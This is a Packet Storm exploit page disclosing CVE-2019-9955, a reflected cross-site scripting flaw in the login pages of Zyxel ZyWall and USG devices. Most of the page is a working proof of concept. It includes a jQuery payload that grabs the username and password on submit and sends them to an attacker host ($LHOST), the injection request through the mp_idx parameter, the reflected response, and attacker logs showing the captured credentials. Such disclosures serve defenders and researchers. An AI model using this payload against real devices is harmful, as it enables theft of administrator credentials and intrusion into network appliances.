exploit the possibilities

Zyxel ZyWall Cross Site Scripting

Zyxel ZyWall Cross Site Scripting
Posted Apr 16, 2019
Authored by Aaron Bishop

ZyWall 310, ZyWall 110, USG1900, ATP500, and USG40 devices suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-9955
MD5 | 6a488936efef77d973078a35e0209519

Zyxel ZyWall Cross Site Scripting

Change Mirror Download
# Exploit Title: Reflected XSS on Zyxel login pages
# Date: 10 Apr 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://www.zyxel.com/us/en/
# Version: V4.31
# Tested on: ZyWall 310, ZyWall 110, USG1900, ATP500, USG40 - weblogin.cgi, webauth_relogin.cgi
# CVE : 2019-9955

1. Description
==============

Several Zyxel devices are vulnerable to a reflected Cross-Site Scripting via the
mp_idx parameter on weblogin.cgi and webauth_relogin.cgi.

2. Proof of Concept
=============

Host a malicious file JavaScript file named 'z', or any other single character,
locally. The contents of 'z' for the following example are:


-----
$("button").click(function() {
$.get("//$LHOST", { username: $("input:text").val(), password: $("input:password").val(), host: location.hostname});
});
-----


Close the mp_idx variable with "; and Use the getScript functionality of jQuery
to include the malicious file:

Request:

GET /?mobile=1&mp_idx=%22;$.getScript(%27//$LHOST/z%27);// HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1



Response:

HTTP/1.1 200 OK
Date: Wed, 10 Apr 2019 23:13:39 GMT
Cache-Control: no-cache, private
Pragma: no-cache
Expires: Mon, 16 Apr 1973 13:10:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 7957

<!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8">
<meta http-equiv="pragma" content="no-cache">
<link href="/ext-js/mobile/css/jquery.mobile-1.4.2.min.css?v=180711001117" rel="stylesheet" type="text/css">
<link href="/ext-js/mobile/css/style.css?v=180711001117" rel="stylesheet" type="text/css">
<link href="/ext-js/mobile/css/theme.css?v=180711001117" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="/logo/mobile_custmiz_page.css?v=180711001117" />
<script src="/ext-js/mobile/js/jquery-1.8.2.min.js?v=180711001117" type="text/javascript"></script>
<script src="/ext-js/mobile/js/jquery.mobile-1.4.2.min.js?v=180711001117" type="text/javascript"></script>
<script type="text/javascript" src="/lang/language_panel.js?v=180711001117"></script>
<script language="JavaScript">
var errorNum = 0;
var mp_idx = "";$.getScript('//$LHOST/z');//";
...


When the login form is submitted, the host for the malicious file gets a request
containing the login credentials and target system:

$LHOST - - [10/Apr/2019 23:04:41] "GET /z?_=1554937481076 HTTP/1.1" 200 -
$LHOST - - [10/Apr/2019 23:04:49] "GET /?username=test&password=test&host=$RHOST HTTP/1.1" 200 -
Login or Register to add favorites

File Archive:

August 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    1 Files
  • 2
    Aug 2nd
    7 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close